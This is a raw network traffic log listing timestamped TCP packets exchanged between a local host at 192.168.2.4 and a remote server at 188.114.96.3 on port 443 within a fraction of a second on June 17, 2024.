Jun 17, 2024 16:18:55.196137905 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196146965 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196180105 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196202040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196223974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196252108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196261883 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196286917 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196304083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196325064 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196346045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196373940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196383953 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196404934 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196423054 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196505070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196528912 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196558952 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196569920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196594954 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196609974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196623087 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196644068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196679115 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196686983 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196715117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196732044 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196868896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196890116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196922064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196930885 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.196954966 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.196974993 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197009087 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197026968 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197058916 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197068930 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197091103 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197108984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197122097 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197140932 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197176933 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197185993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197205067 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197220087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197299004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197336912 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197359085 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197367907 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197396994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197415113 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197474957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197494984 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197525978 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197532892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197561026 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197577000 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197611094 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197628975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197679043 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197688103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197701931 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197712898 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197731018 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197731972 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197751045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197770119 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197807074 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.197974920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.197997093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198031902 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198040009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198064089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198079109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198163986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198184013 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198213100 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198223114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198247910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198259115 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198265076 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198275089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198292971 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198303938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198339939 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198348045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198417902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198435068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198462009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198472023 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198489904 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198515892 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198658943 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198682070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198710918 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198719978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198738098 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198751926 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198792934 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198813915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198847055 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198854923 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198873997 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198892117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198910952 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198930979 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198961973 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.198971033 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.198997974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199019909 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199140072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199161053 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199206114 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199213982 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199235916 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199254036 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199278116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199332952 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199362040 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199371099 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199393988 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199405909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199410915 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199419975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199443102 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199455976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199466944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199486971 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199503899 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199573040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199592113 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199620962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199630976 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199659109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199661970 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199680090 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199687004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199702024 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199722052 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199745893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199927092 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199947119 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.199982882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.199990988 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200007915 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200027943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200041056 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200062037 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200090885 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200098038 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200123072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200124979 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200141907 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200153112 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200170040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200171947 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200208902 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200287104 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200306892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200334072 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200341940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200366974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200386047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200602055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200624943 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200673103 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200685978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200711012 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200717926 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200727940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200737953 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200753927 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200762033 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200794935 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200803995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200822115 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200839996 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200866938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200876951 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.200891018 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.200917959 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201086998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201108932 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201164007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201170921 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201184034 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201206923 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201215029 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201222897 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201250076 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201277018 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201381922 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201400995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201433897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201442957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201468945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201483965 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201555967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201589108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201612949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201620102 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201644897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201653957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201662064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201668978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201688051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201699972 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201735020 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201744080 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201777935 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201812983 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201833963 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201860905 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201868057 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.201894999 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201909065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.201982021 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202003002 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202044964 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202054024 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202078104 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202095032 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202095032 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202109098 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202131987 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202143908 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202178955 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202186108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202220917 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202366114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202385902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202419043 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202430010 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202452898 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202470064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202507019 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202528000 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202553034 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202564001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202585936 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202605009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202661037 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202682018 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202717066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202729940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202744961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202768087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202897072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202918053 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.202950001 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.202960014 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203001022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203001022 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203027964 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203046083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203057051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203075886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203103065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203147888 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203167915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203193903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203202009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203217983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203237057 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203412056 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203432083 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203470945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203479052 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203504086 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203519106 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203567028 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203587055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203617096 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203629017 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203644991 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203663111 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203721046 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203738928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203777075 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203787088 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203810930 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203826904 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203845024 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203871012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203896046 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203905106 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.203927994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.203941107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.204135895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.204157114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.204193115 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.204202890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.204221964 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.204237938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.222960949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.300842047 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.300883055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.300937891 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.300978899 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.300998926 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301104069 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301129103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301152945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301161051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301179886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301207066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301289082 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301316023 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301364899 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301372051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301386118 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301404953 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301476955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301501036 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301532984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301538944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301565886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301593065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301700115 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301723957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301749945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301755905 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301784039 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301784039 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301805019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301810980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301827908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301847935 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301884890 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301889896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301924944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.301970005 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.301973104 CEST	49733	443	192.168.2.4	188.114.96.3
